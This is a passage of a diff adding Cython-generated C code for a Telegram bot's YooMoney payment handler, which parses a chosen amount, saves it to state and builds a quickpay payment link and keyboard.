__Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":98 + * + * + * @router.callback_query(F.data.startswith("yoomoney_amount")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 98, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 98, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 98, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 98, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 98, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 98, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 98, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + int __pyx_t_8; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + unsigned int __pyx_t_11; + Py_UCS4 __pyx_t_12; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L13_resume_from_await; + case 2: goto __pyx_L14_resume_from_await; + case 3: goto __pyx_L15_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 98, __pyx_L1_error) + + /* "handlers/payments/yoomoney_pay.py":102 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":104 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 104, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/yoomoney_pay.py":105 + * + * if len(data) != 2: + * return # <<<<<<<<<<<<<< + * + * amount_str = data[1] + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + goto __pyx_L0; + + /* "handlers/payments/yoomoney_pay.py":104 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * return + * + */ + } + + /* "handlers/payments/yoomoney_pay.py":107 + * return + * + * amount_str = data[1] # <<<<<<<<<<<<<< + * try: + * amount = int(amount_str) + */ + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":109 + * amount_str = data[1] + * try: + * amount = int(amount_str) # <<<<<<<<<<<<<< + * except ValueError: + * return + */ + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":110 + * try: + * amount = int(amount_str) + * except ValueError: # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_8) { + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 110, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_9); + + /* "handlers/payments/yoomoney_pay.py":111 + * amount = int(amount_str) + * except ValueError: + * return # <<<<<<<<<<<<<< + * + * await state.update_data(amount=amount) + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + goto __pyx_L8_except_return; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/yoomoney_pay.py":108 + * + * amount_str = data[1] + * try: # <<<<<<<<<<<<<< + * amount = int(amount_str) + * except ValueError: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L8_except_return:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L0; + __pyx_L10_try_end:; + } + + /* "handlers/payments/yoomoney_pay.py":113 + * return + * + * await state.update_data(amount=amount) # <<<<<<<<<<<<<< + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L13_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 113, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 113, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":114 + * + * await state.update_data(amount=amount) + * await state.set_state( # <<<<<<<<<<<<<< + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney + * ) + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":115 + * await state.update_data(amount=amount) + * await state.set_state( + * ReplenishBalanceState.waiting_for_payment_confirmation_yoomoney # <<<<<<<<<<<<<< + * ) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_waiting_for_payment_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = NULL; + __pyx_t_11 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_9)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_9); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_11 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_9, __pyx_t_10}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L14_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":120 + * # state_data = await state.get_data() + * #customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id # <<<<<<<<<<<<<< + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_chat); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_id); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_customer_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":121 + * #customer_name = callback_query.from_user.full_name + * customer_id = callback_query.message.chat.id + * account_id = YOOMONEY_ID # <<<<<<<<<<<<<< + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_ID); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_account_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/yoomoney_pay.py":122 + * customer_id = callback_query.message.chat.id + * account_id = YOOMONEY_ID + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" # <<<<<<<<<<<<<< + * + * confirm_keyboard = InlineKeyboardMarkup( + */ + __pyx_t_1 = PyTuple_New(6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = 0; + __pyx_t_12 = 127; + __Pyx_INCREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_3 += 50; + __Pyx_GIVEREF(__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_https_yoomoney_ru_quickpay_confi); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_account_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_3 += 33; + __Pyx_GIVEREF(__pyx_kp_u_quickpay_form_shop_targets_sum); + PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_quickpay_form_shop_targets_sum); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 3, __pyx_t_2); + __pyx_t_2 = 0; + __Pyx_INCREF(__pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; + __pyx_t_3 += 49; + __Pyx_GIVEREF(__pyx_kp_u_paymentType_PC_comment_label); + PyTuple_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_paymentType_PC_comment_label); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_customer_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_12; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_1, 5, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_1, 6, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_payment_url = ((PyObject*)__pyx_t_2); + __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":124 + * payment_url = f"https://yoomoney.ru/quickpay/confirm.xml?receiver={account_id}&quickpay-form=shop&targets=&sum={amount}&paymentType=PC&comment= &label={customer_id}" + * + * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + + /* "handlers/payments/yoomoney_pay.py":125 + * + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text="", url=payment_url)], + * [InlineKeyboardButton(text=" ", callback_data="pay")], + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/yoomoney_pay.py":126 + * confirm_keyboard = InlineKeyboardMarkup( + * inline_keyboard=[ + * [InlineKeyboardButton(text="", url=payment_url)], # <<<<<<<<<<<<<< + * [InlineKeyboardButton(text=" ", callback_data="pay")], + * ] + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_n_u__8) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 126, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 126, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_GIVEREF(__pyx_t_13); + if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_13)) __PYX_ERR(0, 126, __pyx_L1_error); + __pyx_t_13 = 0; + + /* 